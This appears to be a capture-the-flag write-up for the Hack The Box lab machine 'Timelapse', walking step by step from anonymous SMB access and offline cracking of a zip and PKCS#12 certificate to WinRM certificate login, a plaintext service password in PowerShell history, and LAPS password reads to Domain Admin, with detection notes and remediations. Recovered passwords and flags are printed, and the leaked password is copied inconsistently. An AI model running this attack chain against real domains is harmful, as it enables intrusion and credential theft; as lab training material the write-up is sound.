

OFFICIAL WRITEUP



TIMELAPSE

An easy Windows Active Directory machine chaining an anonymously-readable SMB share, a password-protected backup archive, a cracked PKCS#12 certificate, and LAPS abuse via a service account's leaked credentials to reach Domain Admin.

DIFFICULTY: EASY

CATEGORY: ACTIVE DIRECTORY

OS: WINDOWS

00	Machine Overview	3
01	Reconnaissance	4
02	SMB & RPC Enumeration	5
03	Archive & Certificate Recovery	6
04	Foothold via Certificate Authentication	8
05	Credential Discovery & Pivot to svc_deploy	9
06	LAPS Abuse & Domain Admin	11
07	Flags Captured	12
08	Key Takeaways	13

Machine Name	Timelapse
Platform	Hack The Box
Difficulty	Easy
Target IP	10.129.33.173
Domain	timelapse.htb
Domain Controller	dc01.timelapse.htb
Author	TltaX

Timelapse is an easy-rated Windows Active Directory machine built around credential hygiene failures rather than a single exploitable bug. An anonymously readable SMB share leaks a password-protected backup archive; cracking it exposes a PKCS#12 certificate that authenticates directly over WinRM — no password needed once the certificate's own passphrase is cracked. From that foothold, leftover PowerShell command history leaks a second account's plaintext password, which turns out to be a member of a group with read access to LAPS-managed local administrator passwords. Reading that password off the domain controller completes the chain to Domain Admin.

Objective: Recover a certificate from an exposed SMB share, use it for an initial foothold, pivot through leaked credentials into a LAPS-reader account, and read the domain controller's LAPS password to reach Domain Admin.

TOOLS USED

nmap

rpcclient

smbclient

zip2john / pfx2john

john

openssl

Evil-WinRM

LAPSToolkit

TECHNIQUES

Anonymous SMB Enumeration

Offline Credential Cracking

Certificate-Based Authentication

Credential Discovery in Command History

LAPS Abuse

ATTACK CHAIN



01 Reconnaissance

A version-detection scan with default scripts is run against the target:

```
sudo nmap 10.129.33.173 -sCV -nvv -Pn --disable-arp-ping -T4 --max-retries=1000 -p-
```

```
$ sudo nmap 10.129.33.173 -sCV -nvv -Pn --disable-arp-ping -T4 --max-retries=1000 -p-
```

Fig 1.1 – Full-port version scan with evasive timing options

The result set is the classic Active Directory Domain Controller fingerprint:

```
Not shown: 988 filtered tcp ports
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http
636/tcp   open  ldapssl?
3268/tcp  open  ldap
3269/tcp  open  globalcatLDAPssl?
5986/tcp  open  ssl/http
```

Fig 1.2 – Kerberos, LDAP, SMB, and WinRM-over-SSL all exposed

MITRE ATT&CK: T1046 – Network Service Discovery

DETECTION NOTES

The combination of aggressive timing (-T4, --max-retries=1000) with a full -p- sweep is noisy — a high volume of SYN/connection attempts from one source in a short window is one of the easiest network behaviors to alert on, whether via a NIDS signature or a simple connections-per-minute threshold on the firewall.

Findings: Port 5986 (WinRM over SSL) stands out early — it hints that certificate-based authentication may be relevant later, and it is.

02 SMB & RPC Enumeration

An anonymous RPC null session is attempted first:

```
rpcclient -U "" 10.129.33.173
```

```
$rpcclient -U "" 10.129.33.173
```

Fig 2.1 – Anonymous RPC session accepted with a blank username/password

Basic server information is pulled to confirm the domain context:

```
srvinfo
```

```
rpcclient $> srvinfo
10.129.33.173 Wk Sv PDC Tim NT
platform_id      :          500
os version       :          10.0
server type      :          0x80102b
```

Fig 2.2 – Server info confirming a Windows domain controller

SMB shares are then listed, also with no credentials:

```
smbclient -L 10.129.33.173
```

```
$smbclient -L 10.129.33.173
Password for [WORKGROUP\beng0x]:

Sharename      Type      Comment
-----
ADMIN$         Disk      Remote Admin
C$             Disk      Default share
IPC$           IPC       Remote IPC
NETLOGON       Disk      Logon server share
Shares         Disk      Logon server share
SYSVOL         Disk      Logon server share
```

Fig 2.3 – Share listing includes a non-default share simply named "Shares"

Findings: Alongside the standard administrative shares, a custom Shares share is present and — unlike the defaults — is worth checking for read access without credentials.

The custom share allows anonymous read access, so its full contents are pulled down recursively:

```
smbclient //10.129.33.173/shares -U '' -c "recurse ON; prompt OFF; mget *;"
```

```
$smbclient //10.129.33.173/shares -U '' -c "recurse ON; prompt OFF; mget *;"
Password for [WORKGROUP\]:
```

Fig 3.1 – Recursively downloading every file in the Shares share

Among the downloaded files is winrm_backup.zip — a password-protected archive. Its hash is extracted for offline cracking:

```
zip2john winrm_backup.zip > hash_1.txt
```

```
$zip2john winrm_backup.zip > hash_1.txt
```

Fig 3.2 – Extracting a crackable hash from the protected zip archive

Cracking that hash against rockyou.txt unlocks the archive, revealing a PKCS#12 certificate bundle, legacyy_dev_auth.pfx — itself protected by its own export passphrase. The same offline-cracking approach is applied to the certificate:

```
pfx2john legacyy_dev_auth.pfx > pfx_hash.txt
```

```
$pfx2john legacyy_dev_auth.pfx > pfx_hash.txt
```

Fig 3.3 – Extracting the PKCS#12 hash from the certificate bundle

```
john --wordlist=rockyou.txt pfx_hash.txt
```

```
$john --wordlist=rockyou.txt pfx_hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256, 8x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512])
all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy      (legacyy_dev_auth.pfx)
```

Fig 3.4 – Cracking the certificate's export passphrase: thuglegacy

MITRE ATT&CK: T1552.004 – Unsecured Credentials: Private Keys

With the passphrase known, `openssl` extracts the usable certificate and private key from the `.pfx` bundle (`-clcert` for the client certificate, `-nocerts` for the private key), producing `certificate.pem` and `private_key.pem` — exactly what port 5986's WinRM-over-SSL is set up to accept.

Evil-WinRM supports client-certificate authentication directly, with no username or password required:

```
evil-winrm -i 10.129.33.173 -S -c certificate.pem -k private_key.pem
```

```
→ $evil-winrm -i 10.129.33.173 -S -c certifecate.pem -k private_key.pem
```

Fig 4.1 – Authenticating over WinRM-SSL using the recovered certificate and private key

TROUBLESHOOTING NOTE

An earlier attempt at the SSL connection failed with a Ruby NoMethodError inside Evil-WinRM's own certificate-existence check (undefined method 'exists?' for class File) — a known compatibility quirk between certain Ruby/gem versions and the tool's -S/-c/-k code path.

```
Warning: Remote path completions is disabled due to ruby limitation: undefined method 'quoting_detection_proc' for module Reline
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#remote-path-completion
/usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin/evil-winrm:382:in 'block in check_ssl': undefined method 'exists?' for class File (NoMethodError)
      unless [pub_key, priv_key].all? {|f| File.exists?(f) } then
      ~~~~~
Did you mean? exists?
      from /usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin/evil-winrm:382:in 'all?'
      from /usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin/evil-winrm:382:in 'check_ssl'
      from /usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin/evil-winrm:385:in 'main'
      from /usr/share/rubygems-integration/all/gems/evil-winrm-3.5/bin/evil-winrm:1029:in '<top (required)>'
      from /usr/bin/evil-winrm:25:in 'load'
      from /usr/bin/evil-winrm:25:in '<main>'
```

Fig 4.2 – Evil-WinRM's Ruby version-compatibility error, resolved by adjusting the invocation

The certificate authenticates successfully as the domain user legacyy, whose flag is immediately readable:

```
cat user.txt
```

```
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat user.txt
619a19d1bac210727c4033bd32d4cb84
```

Fig 4.3 – Reading user.txt as legacyy

```
619a19d1bac210727c4033bd32d4cb84
```


Current privileges and group memberships are checked from the new session:

```
*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami
timelapse\legacyy
*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami /priv

PRIVILEGES INFORMATION
-----
Privilege Name      Description                State
-----
SeMachineAccountPrivilege  Add workstations to domain  Enabled
SeChangeNotifyPrivilege    Bypass traverse checking     Enabled
SeIncreaseWorkingSetPrivilege  Increase a process working set Enabled
```

Fig 5.1 – legacyy's enabled privileges – nothing directly exploitable

```
*Evil-WinRM* PS C:\Users\legacyy\Desktop> whoami /groups

GROUP INFORMATION
-----
Group Name                                     Type
-----
Everyone                                       Well-known group
BUILTIN\Remote Management Users              Alias
BUILTIN\Users                                Alias
BUILTIN\Pre-Windows 2000 Compatible Access    Alias
NT AUTHORITY\NETWORK                         Well-known group
NT AUTHORITY\Authenticated Users             Well-known group
NT AUTHORITY\This Organization               Well-known group
TIMELAPSE\Development                        Group
Authentication authority asserted identity    Well-known group
Mandatory Label\Medium Plus Mandatory Level Label
```

Fig 5.2 – legacyy belongs to the TIMELAPSE\Development group

With no direct privilege to abuse, leftover PowerShell command history is checked — a classic place to find credentials an admin typed out during earlier troubleshooting:

```
cat $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
```

```
*Evil-WinRM* PS C:\Users\legacyy\Desktop> cat $env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$sp = ConvertTo-SecureString 'E3R$Q62*12p7PLlC%WaxuaV' -AsPlainText -Force
$sc = New-Object System.Management.Automation.PSCredential ('svc_deploy', $sp)
Invoke-Command -computername localhost -credential $sc -port 5986 -usessl -SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
```

Fig 5.3 – Command history reveals a PSCredential built for svc_deploy with a plaintext password

MITRE ATT&CK: T1552.003 – Unsecured Credentials: Credentials In Files

Checking what that account can actually do:

```
net user svc_deploy
```

```
*Evil-WinRM* PS C:\Users\legacy\Desktop> net user svc_deploy
User name                svc_deploy
Full Name                svc_deploy
Comment                  user created by powershell
User's comment            user created by powershell
Country/region code      000 (System Default)
Account active            Yes
Account expires           Never
Password last set        10/25/2021 12:12:37 PM
Password expires          Never
Password changeable       10/26/2021 12:12:37 PM
Password required         Yes
User may change password  Yes

Workstations allowed      All
Logon script             
User profile             
Home directory           

Last logon                10/25/2021 12:25:53 PM

Logon hours allowed       All

Local Group Memberships  *Remote Management Use
Global Group memberships *LAPS Readers          *Domain Users
The command completed successfully.
```

Fig 5.4 – svc_deploy is a member of the LAPS_Readers group

Findings: LAPS_Readers membership means svc_deploy is explicitly authorized to read LAPS-managed local administrator passwords from Active Directory — exactly the kind of delegated-rights misconfiguration LAPS deployments need to get right.

A new session authenticates directly with the recovered password:

```
evil-winrm -i 10.129.33.173 -u svc_deploy -p '<recovered password>' -S
```

```
$evil-winrm -i 10.129.33.173 -u svc_deploy -p 'E3R$062^12p7PLlC%KWaxuaV' -S
```

Fig 5.5 – Authenticating as svc_deploy with the password recovered from PowerShell history

06 LAPS Abuse & Domain Admin

LAPSToolkit is a PowerShell module built on PowerView specifically for auditing and abusing LAPS deployments — it can enumerate who holds read rights over LAPS passwords and pull those passwords directly once a session already has the rights. It's uploaded into the svc_deploy session:

```
upload LAPSToolkit.ps1
```

```
C:\Users\svc_deploy\Documents> upload LAPSToolkit.ps1
```

Fig 6.1 – Uploading LAPSToolkit.ps1 through the active Evil-WinRM session

With the module loaded, the LAPS-managed password for the domain controller is retrieved directly:

```
. .\LAPSToolkit.ps1  
Get-LAPSComputers
```

```
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> . .\LAPSToolkit.ps1  
*Evil-WinRM* PS C:\Users\svc_deploy\Documents> Get-LAPSComputers  
  
ComputerName      Password          Expiration  
-----  
dc01.timelapse.htb 5+@7Wv8}@+%WgDwr8rXU%3{A 07/21/2026 03:30:30
```

Fig 6.2 – Get-LAPSComputers returns dc01's current local Administrator password

MITRE ATT&CK: T1552.001 – Unsecured Credentials: Credentials In Registry / LAPS Abuse

DETECTION NOTES

LAPS password reads generate a directory-service access event on the domain controller (Windows Security Event ID 4662 against the ms-Mcs-AdmPwd attribute) when object auditing is enabled. Any account outside the expected small set of LAPS administrators reading this attribute — especially a freshly-compromised service account — is a high-confidence indicator worth alerting on directly.

That password authenticates as the local Administrator on the domain controller:

```
evil-winrm -i 10.129.33.173 -u administrator -p '<LAPS password>' -S
```

```
evil-winrm -i 10.129.33.173 -u administrator -p '5+@7Wv8}@+%WgDwr8rXU%3{A' -S
```

Fig 6.3 – Authenticating as Administrator with the LAPS-retrieved password

```
Info: Establishing connection to remote endpoint  
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami  
timelapse\administrator
```

Fig 6.4 – Confirmed as timelapse\administrator

USER FLAG – legacyy

```
619a19d1bac210727c4033bd32d4cb84
```

ROOT FLAG – Administrator

```
cat root.txt
```

```
*Evil-WinRM* PS C:\Users\TRX\Desktop> cat root.txt  
41433ceddb68aed87eec90f33e45364c
```

Fig 7.1 – Reading root.txt as timelapse\administrator

```
41433ceddb68aed87eec90f33e45364c
```

Timelapse is a good reminder that Active Directory compromises rarely need a software vulnerability at all — every step here abused a credential-hygiene mistake instead: a share that should never have allowed anonymous read access, a backup archive and certificate protected by crackable passwords, command history left holding a plaintext credential, and LAPS read rights handed to a service account that didn't need them.

Finding	Risk	Remediation
Anonymous SMB share exposing a certificate backup and credentials	Critical	Remove anonymous/guest access from all non-public shares; audit share ACLs regularly and treat any backup or credential material as sensitive by default.
Weak, dictionary-crackable passwords protecting the zip archive and PKCS#12 certificate	High	Enforce strong, non-dictionary passphrases on any exported credential material; rotate and re-issue certificates that were ever stored with weak protection.
Plaintext service account password left in PowerShell command history	High	Avoid typing credentials directly into interactive shells; use secure credential stores (e.g. a vault or Get-Credential prompts) and periodically clear PSReadLine history on shared/admin hosts.
	Medium	Apply least privilege to

Service account holds LAPS_Readers membership without a clear operational need

LAPS read rights; restrict membership to a small, monitored set of tier-0 administrative accounts and log every LAPS attribute read.
